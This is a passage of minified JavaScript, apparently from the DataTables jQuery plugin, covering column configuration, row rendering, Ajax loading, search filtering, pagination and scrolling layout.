i,e=t.aoColumns[e],s=t.oClasses,o=M(e.nTh),a=(!e.sWidthOrig&&(e.sWidthOrig=o.attr("width")||null,i=(o.attr("style")||"").match(/width:\s*(\d+[pxem%]+)/))&&(e.sWidthOrig=i[1]),n!==Le&&null!==n&&(N(n),b(R.defaults.column,n),n.mDataProp===Le||n.mData||(n.mData=n.mDataProp),n.sType&&(e._sManualType=n.sType),n.className&&!n.sClass&&(n.sClass=n.className),M.extend(e,n),k(e,n,"sWidth","sWidthOrig"),n.iDataSort!==Le&&(e.aDataSort=[n.iDataSort]),k(e,n,"aDataSort")),e.mData),r=C(a),l=e.mRender?C(e.mRender):null,n=function(t){return"string"==typeof t&&-1!==t.indexOf("@")};e._bAttrSrc=M.isPlainObject(a)&&(n(a.sort)||n(a.type)||n(a.filter)),e.fnGetData=function(t,e,n){var i=r(t,e,Le,n);return l&&e?l(i,e,t,n):i},e.fnSetData=function(t,e,n){return f(a)(t,e,n)},"number"!=typeof a&&(t._rowReadObject=!0),t.oFeatures.bSort||(e.bSortable=!1,o.addClass(s.sSortableNone)),t=-1!==M.inArray("asc",e.asSorting),n=-1!==M.inArray("desc",e.asSorting),e.bSortable&&(t||n)?t&&!n?(e.sSortingClass=s.sSortableAsc,e.sSortingClassJUI=s.sSortJUIAscAllowed):!t&&n?(e.sSortingClass=s.sSortableDesc,e.sSortingClassJUI=s.sSortJUIDescAllowed):(e.sSortingClass=s.sSortable,e.sSortingClassJUI=s.sSortJUI):(e.sSortingClass=s.sSortableNone,e.sSortingClassJUI="")}function v(t){if(!1!==t.oFeatures.bAutoWidth){var e=t.aoColumns;Pt(t);for(var n=0,i=e.length;n<i;n++)e[n].nTh.style.width=e[n].sWidth}""===(e=t.oScroll).sY&&""===e.sX||Mt(t),I(t,null,"column-sizing",[t])}function U(t,e){t=S(t,"bVisible");return"number"==typeof t[e]?t[e]:null}function c(t,e){t=S(t,"bVisible");return-1!==(t=M.inArray(e,t))?t:null}function y(t){return S(t,"bVisible").length}function S(t,n){var i=[];return M.map(t.aoColumns,function(t,e){t[n]&&i.push(e)}),i}function B(t){for(var e,n,i,s,o,a,r,l=t.aoColumns,c=t.aoData,h=R.ext.type.detect,u=0,d=l.length;u<d;u++)if(r=[],!(o=l[u]).sType&&o._sManualType)o.sType=o._sManualType;else if(!o.sType){for(e=0,n=h.length;e<n;e++){for(i=0,s=c.length;i<s&&(r[i]===Le&&(r[i]=w(t,i,u,"type")),(a=h[e](r[i],t))||e===h.length-1)&&"html"!==a;i++);if(a){o.sType=a;break}}o.sType||(o.sType="string")}}function V(t,e,n,i){var s,o,a,r=t.aoColumns;if(e)for(s=e.length-1;0<=s;s--)for(var l,c=(l=e[s]).targets!==Le?l.targets:l.aTargets,h=0,u=(c=M.isArray(c)?c:[c]).length;h<u;h++)if("number"==typeof c[h]&&0<=c[h]){for(;r.length<=c[h];)z(t);i(c[h],l)}else if("number"==typeof c[h]&&c[h]<0)i(r.length+c[h],l);else if("string"==typeof c[h])for(o=0,a=r.length;o<a;o++)"_all"!=c[h]&&!M(r[o].nTh).hasClass(c[h])||i(o,l);if(n)for(s=0,t=n.length;s<t;s++)i(s,n[s])}function _(t,e,n,i){var s=t.aoData.length,o=M.extend(!0,{},R.models.oRow,{src:n?"dom":"data",idx:s});o._aData=e,t.aoData.push(o);for(var a=t.aoColumns,r=0,l=a.length;r<l;r++)n&&G(t,s,r,w(t,s,r)),a[r].sType=null;return t.aiDisplayMaster.push(s),(e=t.rowIdFn(e))!==Le&&(t.aIds[e]=o),!n&&t.oFeatures.bDeferRender||Q(t,s,n,i),s}function q(n,t){var i;return(t=t instanceof M?t:M(t)).map(function(t,e){return i=K(n,e),_(n,i.data,e,i.cells)})}function w(t,e,n,i){var s=t.iDraw,o=t.aoColumns[n],a=t.aoData[e]._aData,r=o.sDefaultContent;if((n=o.fnGetData(a,i,{settings:t,row:e,col:n}))===Le)return t.iDrawError!=s&&null===r&&(L(t,0,"Requested unknown parameter "+("function"==typeof o.mData?"{function}":"'"+o.mData+"'")+" for row "+e,4),t.iDrawError=s),r;if(n!==a&&null!==n||null===r){if("function"==typeof n)return n.call(a)}else n=r;return null===n&&"display"==i?"":n}function G(t,e,n,i){t.aoColumns[n].fnSetData(t.aoData[e]._aData,i,{settings:t,row:e,col:n})}function X(t){return M.map(t.match(/(\\.|[^\.])+/g)||[""],function(t){return t.replace(/\\./g,".")})}function C(s){var o,r;return M.isPlainObject(s)?(o={},M.each(s,function(t,e){e&&(o[t]=C(e))}),function(t,e,n,i){var s=o[e]||o._;return s!==Le?s(t,e,n,i):t}):null===s?function(t){return t}:"function"==typeof s?function(t,e,n,i){return s(t,e,n,i)}:"string"!=typeof s||-1===s.indexOf(".")&&-1===s.indexOf("[")&&-1===s.indexOf("(")?function(t){return t[s]}:(r=function(t,e,n){var i;if(""!==n)for(var s,o=0,a=(s=X(n)).length;o<a;o++){if(n=s[o].match(_e),i=s[o].match(m),n){for(s[o]=s[o].replace(_e,""),""!==s[o]&&(t=t[s[o]]),i=[],s.splice(0,o+1),s=s.join("."),o=0,a=t.length;o<a;o++)i.push(r(t[o],e,s));t=""===(t=n[0].substring(1,n[0].length-1))?i:i.join(t);break}if(i)s[o]=s[o].replace(m,""),t=t[s[o]]();else{if(null===t||t[s[o]]===Le)return Le;t=t[s[o]]}}return t},function(t,e){return r(t,e,s)})}function f(i){var l;return M.isPlainObject(i)?f(i._):null===i?function(){}:"function"==typeof i?function(t,e,n){i(t,"set",e,n)}:"string"!=typeof i||-1===i.indexOf(".")&&-1===i.indexOf("[")&&-1===i.indexOf("(")?function(t,e){t[i]=e}:(l=function(t,e,n){for(var i,s,o=(n=X(n))[n.length-1],a=0,r=n.length-1;a<r;a++){if(i=n[a].match(_e),s=n[a].match(m),i){for(n[a]=n[a].replace(_e,""),t[n[a]]=[],(o=n.slice()).splice(0,a+1),i=o.join("."),s=0,r=e.length;s<r;s++)l(o={},e[s],i),t[n[a]].push(o);return}s&&(n[a]=n[a].replace(m,""),t=t[n[a]](e)),null!==t[n[a]]&&t[n[a]]!==Le||(t[n[a]]={}),t=t[n[a]]}o.match(m)?t[o.replace(m,"")](e):t[o.replace(_e,"")]=e},function(t,e){return l(t,e,i)})}function J(t){return g(t.aoData,"_aData")}function Z(t){t.aoData.length=0,t.aiDisplayMaster.length=0,t.aiDisplay.length=0}function Y(t,e,n){for(var i=-1,s=0,o=t.length;s<o;s++)t[s]==e?i=s:t[s]>e&&t[s]--;-1!=i&&n===Le&&t.splice(i,1)}function s(n,i,t,e){var s,o=n.aoData[i],a=function(t,e){for(;t.childNodes.length;)t.removeChild(t.firstChild);t.innerHTML=w(n,i,e,"display")};if("dom"!==t&&(t&&"auto"!==t||"dom"!==o.src)){var r=o.anCells;if(r)if(e!==Le)a(r[e],e);else for(t=0,s=r.length;t<s;t++)a(r[t],t)}else o._aData=K(n,o,e,e===Le?Le:o._aData).data;if(o._aSortData=null,o._aFilterData=null,a=n.aoColumns,e!==Le)a[e].sType=null;else{for(t=0,s=a.length;t<s;t++)a[t].sType=null;tt(n,o)}}function K(t,e,n,i){function s(t,e){var n;"string"==typeof t&&-1!==(n=t.indexOf("@"))&&(n=t.substring(n+1),f(t)(i,e.getAttribute(n)))}function o(t){n!==Le&&n!==u||(r=d[u],l=M.trim(t.innerHTML),r&&r._bAttrSrc?(f(r.mData._)(i,l),s(r.mData.sort,t),s(r.mData.type,t),s(r.mData.filter,t)):p?(r._setter||(r._setter=f(r.mData)),r._setter(i,l)):i[u]=l),u++}var a,r,l,c=[],h=e.firstChild,u=0,d=t.aoColumns,p=t._rowReadObject,i=i||p?{}:[];if(h)for(;h;)"TD"!=(a=h.nodeName.toUpperCase())&&"TH"!=a||(o(h),c.push(h)),h=h.nextSibling;else for(h=0,a=(c=e.anCells).length;h<a;h++)o(c[h]);return(e=e.getAttribute("id"))&&f(t.rowId)(i,e),{data:i,cells:c}}function Q(t,e,n,i){var s,o,a,r,l,c=t.aoData[e],h=c._aData,u=[];if(null===c.nTr){for(s=n||Ee.createElement("tr"),c.nTr=s,c.anCells=u,s._DT_RowIndex=e,tt(t,c),r=0,l=t.aoColumns.length;r<l;r++)a=t.aoColumns[r],o=n?i[r]:Ee.createElement(a.sCellType),u.push(o),n&&!a.mRender&&a.mData===r||(o.innerHTML=w(t,e,r,"display")),a.sClass&&(o.className+=" "+a.sClass),a.bVisible&&!n?s.appendChild(o):!a.bVisible&&n&&o.parentNode.removeChild(o),a.fnCreatedCell&&a.fnCreatedCell.call(t.oInstance,o,w(t,e,r),h,e,r);I(t,"aoRowCreatedCallback",null,[s,h,e])}c.nTr.setAttribute("role","row")}function tt(t,e){var n=e.nTr,i=e._aData;n&&((t=t.rowIdFn(i))&&(n.id=t),i.DT_RowClass&&(t=i.DT_RowClass.split(" "),e.__rowc=e.__rowc?Se(e.__rowc.concat(t)):t,M(n).removeClass(e.__rowc.join(" ")).addClass(i.DT_RowClass)),i.DT_RowAttr&&M(n).attr(i.DT_RowAttr),i.DT_RowData)&&M(n).data(i.DT_RowData)}function et(t){var e,n,i,s,o,a=t.nTHead,r=t.nTFoot,l=0===M("th, td",a).length,c=t.oClasses,h=t.aoColumns;for(l&&(s=M("<tr/>").appendTo(a)),e=0,n=h.length;e<n;e++)o=h[e],i=M(o.nTh).addClass(o.sClass),l&&i.appendTo(s),t.oFeatures.bSort&&(i.addClass(o.sSortingClass),!1!==o.bSortable)&&(i.attr("tabindex",t.iTabIndex).attr("aria-controls",t.sTableId),$t(t,o.nTh,e)),o.sTitle!=i[0].innerHTML&&i.html(o.sTitle),Jt(t,"header")(t,i,o,c);if(l&&T(t.aoHeader,a),M(a).find(">tr").attr("role","row"),M(a).find(">tr>th, >tr>td").addClass(c.sHeaderTH),M(r).find(">tr>th, >tr>td").addClass(c.sFooterTH),null!==r)for(n=(t=t.aoFooter[e=0]).length;e<n;e++)(o=h[e]).nTf=t[e].cell,o.sClass&&M(o.nTf).addClass(o.sClass)}function u(t,e,n){var i,s,o,a,r=[],l=[],c=t.aoColumns.length;if(e){for(n===Le&&(n=!1),i=0,s=e.length;i<s;i++){for(r[i]=e[i].slice(),r[i].nTr=e[i].nTr,o=c-1;0<=o;o--)t.aoColumns[o].bVisible||n||r[i].splice(o,1);l.push([])}for(i=0,s=r.length;i<s;i++){if(t=r[i].nTr)for(;o=t.firstChild;)t.removeChild(o);for(o=0,e=r[i].length;o<e;o++)if(a=c=1,l[i][o]===Le){for(t.appendChild(r[i][o].cell),l[i][o]=1;r[i+c]!==Le&&r[i][o].cell==r[i+c][o].cell;)l[i+c][o]=1,c++;for(;r[i][o+a]!==Le&&r[i][o].cell==r[i][o+a].cell;){for(n=0;n<c;n++)l[i+n][o+a]=1;a++}M(r[i][o].cell).attr("rowspan",c).attr("colspan",a)}}}}function h(t){var e=I(t,"aoPreDrawCallback","preDraw",[t]);if(-1!==M.inArray(!1,e))p(t,!1);else{var e=[],n=0,i=t.asStripeClasses,s=i.length,o=t.oLanguage,a=t.iInitDisplayStart,r="ssp"==A(t),l=t.aiDisplay,a=(t.bDrawing=!0,a!==Le&&-1!==a&&(t._iDisplayStart=!r&&a>=t.fnRecordsDisplay()?0:a,t.iInitDisplayStart=-1),t._iDisplayStart),c=t.fnDisplayEnd();if(t.bDeferLoading)t.bDeferLoading=!1,t.iDraw++,p(t,!1);else if(r){if(!t.bDestroying&&!ot(t))return}else t.iDraw++;if(0!==l.length)for(o=r?t.aoData.length:c,r=r?0:a;r<o;r++){var h,u=l[r],d=t.aoData[u];null===d.nTr&&Q(t,u),u=d.nTr,0!==s&&(h=i[n%s],d._sRowStripe!=h)&&(M(u).removeClass(d._sRowStripe).addClass(h),d._sRowStripe=h),I(t,"aoRowCallback",null,[u,d._aData,n,r]),e.push(u),n++}else n=o.sZeroRecords,1==t.iDraw&&"ajax"==A(t)?n=o.sLoadingRecords:o.sEmptyTable&&0===t.fnRecordsTotal()&&(n=o.sEmptyTable),e[0]=M("<tr/>",{class:s?i[0]:""}).append(M("<td />",{valign:"top",colSpan:y(t),class:t.oClasses.sRowEmpty}).html(n))[0];I(t,"aoHeaderCallback","header",[M(t.nTHead).children("tr")[0],J(t),a,c,l]),I(t,"aoFooterCallback","footer",[M(t.nTFoot).children("tr")[0],J(t),a,c,l]),(i=M(t.nTBody)).children().detach(),i.append(M(e)),I(t,"aoDrawCallback","draw",[t]),t.bSorted=!1,t.bFiltered=!1,t.bDrawing=!1}}function r(t,e){var n=t.oFeatures,i=n.bFilter;n.bSort&&jt(t),i?ht(t,t.oPreviousSearch):t.aiDisplay=t.aiDisplayMaster.slice(),!0!==e&&(t._iDisplayStart=0),t._drawHold=e,h(t),t._drawHold=!1}function nt(t){var e=t.oClasses,n=M(t.nTable),n=M("<div/>").insertBefore(n),i=t.oFeatures,s=M("<div/>",{id:t.sTableId+"_wrapper",class:e.sWrapper+(t.nTFoot?"":" "+e.sNoFooter)});t.nHolding=n[0],t.nTableWrapper=s[0],t.nTableReinsertBefore=t.nTable.nextSibling;for(var o,a,r,l,c,h,u=t.sDom.split(""),d=0;d<u.length;d++){if(o=null,"<"==(a=u[d])){if(r=M("<div/>")[0],"'"==(l=u[d+1])||'"'==l){for(c="",h=2;u[d+h]!=l;)c+=u[d+h],h++;"H"==c?c=e.sJUIHeader:"F"==c&&(c=e.sJUIFooter),-1!=c.indexOf(".")?(l=c.split("."),r.id=l[0].substr(1,l[0].length-1),r.className=l[1]):"#"==c.charAt(0)?r.id=c.substr(1,c.length-1):r.className=c,d+=h}s.append(r),s=M(r)}else if(">"==a)s=s.parent();else if("l"==a&&i.bPaginate&&i.bLengthChange)o=xt(t);else if("f"==a&&i.bFilter)o=ct(t);else if("r"==a&&i.bProcessing)o=It(t);else if("t"==a)o=At(t);else if("i"==a&&i.bInfo)o=yt(t);else if("p"==a&&i.bPaginate)o=kt(t);else if(0!==R.ext.feature.length)for(h=0,l=(r=R.ext.feature).length;h<l;h++)if(a==r[h].cFeature){o=r[h].fnInit(t);break}o&&((r=t.aanFeatures)[a]||(r[a]=[]),r[a].push(o),s.append(o))}n.replaceWith(s),t.nHolding=null}function T(t,e){var n,i,s,o,a,r,l,c,h,u,d=M(e).children("tr");for(t.splice(0,t.length),s=0,r=d.length;s<r;s++)t.push([]);for(s=0,r=d.length;s<r;s++)for(i=(n=d[s]).firstChild;i;){if("TD"==i.nodeName.toUpperCase()||"TH"==i.nodeName.toUpperCase()){for(c=(c=+i.getAttribute("colspan"))&&0!=c&&1!=c?c:1,h=(h=+i.getAttribute("rowspan"))&&0!=h&&1!=h?h:1,o=0,a=t[s];a[o];)o++;for(l=o,u=1==c,a=0;a<c;a++)for(o=0;o<h;o++)t[s+o][l+a]={cell:i,unique:u},t[s+o].nTr=n}i=i.nextSibling}}function it(t,e,n){var i=[];n||(n=t.aoHeader,e&&T(n=[],e));for(var e=0,s=n.length;e<s;e++)for(var o=0,a=n[e].length;o<a;o++)!n[e][o].unique||i[o]&&t.bSortCellsTop||(i[o]=n[e][o].cell);return i}function st(i,t,e){var s,o;I(i,"aoServerParams","serverParams",[t]),t&&M.isArray(t)&&(s={},o=/(.*?)\[\]$/,M.each(t,function(t,e){var n=e.name.match(o);n?(n=n[0],s[n]||(s[n]=[]),s[n].push(e.value)):s[e.name]=e.value}),t=s);function n(t){I(i,null,"xhr",[i,t,i.jqXHR]),e(t)}var a,r,l=i.ajax,c=i.oInstance;M.isPlainObject(l)&&l.data&&(a=l.data,r=M.isFunction(a)?a(t,i):a,t=M.isFunction(a)&&r?r:M.extend(!0,t,r),delete l.data),r={data:t,success:function(t){var e=t.error||t.sError;e&&L(i,0,e),i.json=t,n(t)},dataType:"json",cache:!1,type:i.sServerMethod,error:function(t,e){var n=I(i,null,"xhr",[i,null,i.jqXHR]);-1===M.inArray(!0,n)&&("parsererror"==e?L(i,0,"Invalid JSON response",1):4===t.readyState&&L(i,0,"Ajax error",7)),p(i,!1)}},i.oAjaxData=t,I(i,null,"preXhr",[i,t]),i.fnServerData?i.fnServerData.call(c,i.sAjaxSource,M.map(t,function(t,e){return{name:e,value:t}}),n,i):i.sAjaxSource||"string"==typeof l?i.jqXHR=M.ajax(M.extend(r,{url:l||i.sAjaxSource})):M.isFunction(l)?i.jqXHR=l.call(c,t,n,i):(i.jqXHR=M.ajax(M.extend(r,l)),l.data=a)}function ot(e){return!e.bAjaxDataGet||(e.iDraw++,p(e,!0),st(e,at(e),function(t){rt(e,t)}),!1)}function at(t){function n(t,e){c.push({name:t,value:e})}var e,i,s=t.aoColumns,o=s.length,a=t.oFeatures,r=t.oPreviousSearch,l=t.aoPreSearchCols,c=[],h=x(t),u=t._iDisplayStart,d=!1!==a.bPaginate?t._iDisplayLength:-1,p=(n("sEcho",t.iDraw),n("iColumns",o),n("sColumns",g(s,"sName").join(",")),n("iDisplayStart",u),n("iDisplayLength",d),{draw:t.iDraw,columns:[],order:[],start:u,length:d,search:{value:r.sSearch,regex:r.bRegex}});for(u=0;u<o;u++)e=s[u],i=l[u],d="function"==typeof e.mData?"function":e.mData,p.columns.push({data:d,name:e.sName,searchable:e.bSearchable,orderable:e.bSortable,search:{value:i.sSearch,regex:i.bRegex}}),n("mDataProp_"+u,d),a.bFilter&&(n("sSearch_"+u,i.sSearch),n("bRegex_"+u,i.bRegex),n("bSearchable_"+u,e.bSearchable)),a.bSort&&n("bSortable_"+u,e.bSortable);return a.bFilter&&(n("sSearch",r.sSearch),n("bRegex",r.bRegex)),a.bSort&&(M.each(h,function(t,e){p.order.push({column:e.col,dir:e.dir}),n("iSortCol_"+t,e.col),n("sSortDir_"+t,e.dir)}),n("iSortingCols",h.length)),null===(s=R.ext.legacy.ajax)?t.sAjaxSource?c:p:s?c:p}function rt(t,e){var n=lt(t,e),i=e.sEcho!==Le?e.sEcho:e.draw,s=e.iTotalRecords!==Le?e.iTotalRecords:e.recordsTotal,o=e.iTotalDisplayRecords!==Le?e.iTotalDisplayRecords:e.recordsFiltered;if(i){if(+i<t.iDraw)return;t.iDraw=+i}for(Z(t),t._iRecordsTotal=parseInt(s,10),t._iRecordsDisplay=parseInt(o,10),i=0,s=n.length;i<s;i++)_(t,n[i]);t.aiDisplay=t.aiDisplayMaster.slice(),t.bAjaxDataGet=!1,h(t),t._bInitComplete||Ct(t,e),t.bAjaxDataGet=!0,p(t,!1)}function lt(t,e){t=M.isPlainObject(t.ajax)&&t.ajax.dataSrc!==Le?t.ajax.dataSrc:t.sAjaxDataProp;return"data"===t?e.aaData||e[t]:""!==t?C(t)(e):e}function ct(n){var t=n.oClasses,e=n.sTableId,i=n.oLanguage,s=n.oPreviousSearch,o=n.aanFeatures,a='<input type="search" class="'+t.sFilterInput+'"/>',r=(r=i.sSearch).match(/_INPUT_/)?r.replace("_INPUT_",a):r+a,t=M("<div/>",{id:o.f?null:e+"_filter",class:t.sFilter}).append(M("<label/>").append(r)),o=function(){var t=this.value||"";t!=s.sSearch&&(ht(n,{sSearch:t,bRegex:s.bRegex,bSmart:s.bSmart,bCaseInsensitive:s.bCaseInsensitive}),n._iDisplayStart=0,h(n))},a=null!==n.searchDelay?n.searchDelay:"ssp"===A(n)?400:0,l=M("input",t).val(s.sSearch).attr("placeholder",i.sSearchPlaceholder).bind("keyup.DT search.DT input.DT paste.DT cut.DT",a?Et(o,a):o).bind("keypress.DT",function(t){if(13==t.keyCode)return!1}).attr("aria-controls",e);return M(n.nTable).on("search.dt.DT",function(t,e){if(n===e)try{l[0]!==Ee.activeElement&&l.val(s.sSearch)}catch(t){}}),t[0]}function ht(t,e,n){function i(t){s.sSearch=t.sSearch,s.bRegex=t.bRegex,s.bSmart=t.bSmart,s.bCaseInsensitive=t.bCaseInsensitive}var s=t.oPreviousSearch,o=t.aoPreSearchCols;if(B(t),"ssp"!=A(t)){for(pt(t,e.sSearch,n,e.bEscapeRegex!==Le?!e.bEscapeRegex:e.bRegex,e.bSmart,e.bCaseInsensitive),i(e),e=0;e<o.length;e++)dt(t,o[e].sSearch,e,o[e].bEscapeRegex!==Le?!o[e].bEscapeRegex:o[e].bRegex,o[e].bSmart,o[e].bCaseInsensitive);ut(t)}else i(e);t.bFiltered=!0,I(t,null,"search",[t])}function ut(t){for(var e,n,i=R.ext.search,s=t.aiDisplay,o=0,a=i.length;o<a;o++){for(var r=[],l=0,c=s.length;l<c;l++)n=s[l],e=t.aoData[n],i[o](t,e._aFilterData,n,e._aData,l)&&r.push(n);s.length=0,s.push.apply(s,r)}}function dt(t,e,n,i,s,o){if(""!==e)for(var a=t.aiDisplay,i=ft(e,i,s,o),s=a.length-1;0<=s;s--)e=t.aoData[a[s]]._aFilterData[n],i.test(e)||a.splice(s,1)}function pt(t,e,n,i,s,o){var a,i=ft(e,i,s,o),s=t.oPreviousSearch.sSearch,o=t.aiDisplayMaster;if(0!==R.ext.search.length&&(n=!0),a=mt(t),e.length<=0)t.aiDisplay=o.slice();else for((a||n||s.length>e.length||0!==e.indexOf(s)||t.bSorted)&&(t.aiDisplay=o.slice()),n=(e=t.aiDisplay).length-1;0<=n;n--)i.test(t.aoData[e[n]]._sFilterRow)||e.splice(n,1)}function ft(t,e,n,i){return t=e?t:gt(t),n&&(t="^(?=.*?"+M.map(t.match(/"[^"]+"|[^ ]+/g)||[""],function(t){var e;return(t='"'===t.charAt(0)?(e=t.match(/^"(.*)"$/))?e[1]:t:t).replace('"',"")}).join(")(?=.*?")+").*$"),RegExp(t,i?"i":"")}function gt(t){return t.replace(ve,"\\$1")}function mt(t){for(var e,n,i,s,o,a=t.aoColumns,r=R.ext.type.search,l=!1,c=0,h=t.aoData.length;c<h;c++)if(!(o=t.aoData[c])._aFilterData){for(i=[],e=0,n=a.length;e<n;e++)(l=a[e]).bSearchable?(s=w(t,c,e,"filter"),"string"!=typeof(s=null===(s=r[l.sType]?r[l.sType](s):s)?"":s)&&s.toString&&(s=s.toString())):s="",s.indexOf&&-1!==s.indexOf("&")&&(we.innerHTML=s,s=Ce?we.textContent:we.innerText),s.replace&&(s=s.replace(/[\r\n]/g,"")),i.push(s);o._aFilterData=i,o._sFilterRow=i.join(" "),l=!0}return l}function vt(t){return{search:t.sSearch,smart:t.bSmart,regex:t.bRegex,caseInsensitive:t.bCaseInsensitive}}function bt(t){return{sSearch:t.search,bSmart:t.smart,bRegex:t.regex,bCaseInsensitive:t.caseInsensitive}}function yt(t){var e=t.sTableId,n=t.aanFeatures.i,i=M("<div/>",{class:t.oClasses.sInfo,id:n?null:e+"_info"});return n||(t.aoDrawCallback.push({fn:St,sName:"information"}),i.attr("role","status").attr("aria-live","polite"),M(t.nTable).attr("aria-describedby",e+"_info")),i[0]}function St(t){var e,n,i,s,o,a,r=t.aanFeatures.i;0!==r.length&&(e=t.oLanguage,n=t._iDisplayStart+1,i=t.fnDisplayEnd(),s=t.fnRecordsTotal(),a=(o=t.fnRecordsDisplay())?e.sInfo:e.sInfoEmpty,o!==s&&(a+=" "+e.sInfoFiltered),a=_t(t,a+=e.sInfoPostFix),null!==(e=e.fnInfoCallback)&&(a=e.call(t.oInstance,t,n,i,s,o,a)),M(r).html(a))}function _t(t,e){var n=t.fnFormatNumber,i=t._iDisplayStart+1,s=t._iDisplayLength,o=t.fnRecordsDisplay(),a=-1===s;return e.replace(/_START_/g,n.call(t,i)).replace(/_END_/g,n.call(t,t.fnDisplayEnd())).replace(/_MAX_/g,n.call(t,t.fnRecordsTotal())).replace(/_TOTAL_/g,n.call(t,o)).replace(/_PAGE_/g,n.call(t,a?1:Math.ceil(i/s))).replace(/_PAGES_/g,n.call(t,a?1:Math.ceil(o/s)))}function wt(n){var i,t,s=n.iInitDisplayStart,e=n.aoColumns,o=n.oFeatures,a=n.bDeferLoading;if(n.bInitialised){for(nt(n),et(n),u(n,n.aoHeader),u(n,n.aoFooter),p(n,!0),o.bAutoWidth&&Pt(n),i=0,o=e.length;i<o;i++)(t=e[i]).sWidth&&(t.nTh.style.width=E(t.sWidth));I(n,null,"preInit",[n]),r(n),"ssp"==(e=A(n))&&!a||("ajax"==e?st(n,[],function(t){var e=lt(n,t);for(i=0;i<e.length;i++)_(n,e[i]);n.iInitDisplayStart=s,r(n),p(n,!1),Ct(n,t)}):(p(n,!1),Ct(n)))}else setTimeout(function(){wt(n)},200)}function Ct(t,e){t._bInitComplete=!0,(e||t.oInit.aaData)&&v(t),I(t,"aoInitComplete","init",[t,e])}function Tt(t,e){e=parseInt(e,10);t._iDisplayLength=e,Xt(t),I(t,null,"length",[t,e])}function xt(i){for(var t=i.oClasses,e=i.sTableId,n=i.aLengthMenu,s=(o=M.isArray(n[0]))?n[0]:n,n=o?n[1]:n,o=M("<select/>",{name:e+"_length","aria-controls":e,class:t.sLengthSelect}),a=0,r=s.length;a<r;a++)o[0][a]=new Option(n[a],s[a]);var l=M("<div><label/></div>").addClass(t.sLength);return i.aanFeatures.l||(l[0].id=e+"_length"),l.children().append(i.oLanguage.sLengthMenu.replace("_MENU_",o[0].outerHTML)),M("select",l).val(i._iDisplayLength).bind("change.DT",function(){Tt(i,M(this).val()),h(i)}),M(i.nTable).bind("length.dt.DT",function(t,e,n){i===e&&M("select",l).val(n)}),l[0]}function kt(t){function a(t){h(t)}var e=t.sPaginationType,r=R.ext.pager[e],l="function"==typeof r,e=M("<div/>").addClass(t.oClasses.sPaging+e)[0],c=t.aanFeatures;return l||r.fnInit(t,e,a),c.p||(e.id=t.sTableId+"_paginate",t.aoDrawCallback.push({fn:function(t){if(l)for(var e=t._iDisplayStart,n=t._iDisplayLength,i=t.fnRecordsDisplay(),e=(s=-1===n)?0:Math.ceil(e/n),n=s?1:Math.ceil(i/n),i=r(e,n),s=0,o=c.p.length;s<o;s++)Jt(t,"pageButton")(t,c.p[s],s,i,e,n);else r.fnUpdate(t,a)},sName:"pagination"})),e}function Dt(t,e,n){var i=t._iDisplayStart,s=t._iDisplayLength,o=t.fnRecordsDisplay();return 0===o||-1===s?i=0:"number"==typeof e?o<(i=e*s)&&(i=0):"first"==e?i=0:"previous"==e?(i=0<=s?i-s:0)<0&&(i=0):"next"==e?i+s<o&&(i+=s):"last"==e?i=Math.floor((o-1)/s)*s:L(t,0,"Unknown paging action: "+e,5),e=t._iDisplayStart!==i,t._iDisplayStart=i,e&&(I(t,null,"page",[t]),n)&&h(t),e}function It(t){return M("<div/>",{id:t.aanFeatures.r?null:t.sTableId+"_processing",class:t.oClasses.sProcessing}).html(t.oLanguage.sProcessing).insertBefore(t.nTable)[0]}function p(t,e){t.oFeatures.bProcessing&&M(t.aanFeatures.r).css("display",e?"block":"none"),I(t,null,"processing",[t,e])}function At(t){var e=M(t.nTable),n=(e.attr("role","grid"),t.oScroll);if(""===n.sX&&""===n.sY)return t.nTable;var i=n.sX,s=n.sY,o=t.oClasses,a=e.children("caption"),r=a.length?a[0]._captionSide:null,l=M(e[0].cloneNode(!1)),c=M(e[0].cloneNode(!1)),h=e.children("tfoot");n.sX&&"100%"===e.attr("width")&&e.removeAttr("width"),h.length||(h=null),l=M("<div/>",{class:o.sScrollWrapper}).append(M("<div/>",{class:o.sScrollHead}).css({overflow:"hidden",position:"relative",border:0,width:i?i?E(i):null:"100%"}).append(M("<div/>",{class:o.sScrollHeadInner}).css({"box-sizing":"content-box",width:n.sXInner||"100%"}).append(l.removeAttr("id").css("margin-left",0).append("top"===r?a:null).append(e.children("thead"))))).append(M("<div/>",{class:o.sScrollBody}).css({position:"relative",overflow:"auto",width:i?E(i):null}).append(e)),h&&l.append(M("<div/>",{class:o.sScrollFoot}).css({overflow:"hidden",border:0,width:i?i?E(i):null:"100%"}).append(M("<div/>",{class:o.sScrollFootInner}).append(c.removeAttr("id").css("margin-left",0).append("bottom"===r?a:null).append(e.children("tfoot")))));var u=(e=l.children())[0],o=e[1],d=h?e[2]:null;return i&&M(o).on("scroll.DT",function(){var t=this.scrollLeft;u.scrollLeft=t,h&&(d.scrollLeft=t)}),M(o).css(s&&n.bCollapse?"max-height":"height",s),t.nScrollHead=u,t.nScrollBody=o,t.nScrollFoot=d,t.aoDrawCallback.push({fn:Mt,sName:"scrolling"}),l[0]}function Mt(n){function t(t){(t=t.style).paddingTop="0",t.paddingBottom="0",t.borderTopWidth="0",t.borderBottomWidth="0",t.height=0}var e,i,s,o,a,r=(h=n.oScroll).sX,l=h.sXInner,c=h.sY,h=h.iBarWidth,u=M(n.nScrollHead),d=u[0].style,p=(g=u.children("div"))[0].style,f=g.children("table"),g=n.nScrollBody,m=M(g),v=g.style,b=M(n.nScrollFoot).children("div"),y=b.children("table"),S=M(n.nTHead),_=M(n.nTable),w=_[0],C=w.style,T=n.nTFoot?M(n.nTFoot):null,x=n.oBrowser,k=x.bScrollOversize,D=[],I=[],A=[];_.children("thead, tfoot").remove(),o=S.clone().prependTo(_),S=S.find("tr"),i=o.find("tr"),o.find("th, td").removeAttr("tabindex"),T&&(s=T.clone().prependTo(_),e=T.find("tr"),s=s.find("tr")),r||(v.width="100%",u[0].style.width="100%"),M.each(it(n,o),function(t,e){a=U(n,t),e.style.width=n.aoColumns[a].sWidth}),T&&P(function(t){t.style.width=""},s),u=_.outerWidth(),""===r?(C.width="100%",k&&(_.find("tbody").height()>g.offsetHeight||"scroll"==m.css("overflow-y"))&&(C.width=E(_.outerWidth()-h)),u=_.outerWidth()):""!==l&&(C.width=E(l),u=_.outerWidth()),P(t,i),P(function(t){A.push(t.innerHTML),D.push(E(M(t).css("width")))},i),P(function(t,e){t.style.width=D[e]},S),M(i).height(0),T&&(P(t,s),P(function(t){I.push(E(M(t).css("width")))},s),P(function(t,e){t.style.width=I[e]},e),M(s).height(0)),P(function(t,e){t.innerHTML='<div class="dataTables_sizing" 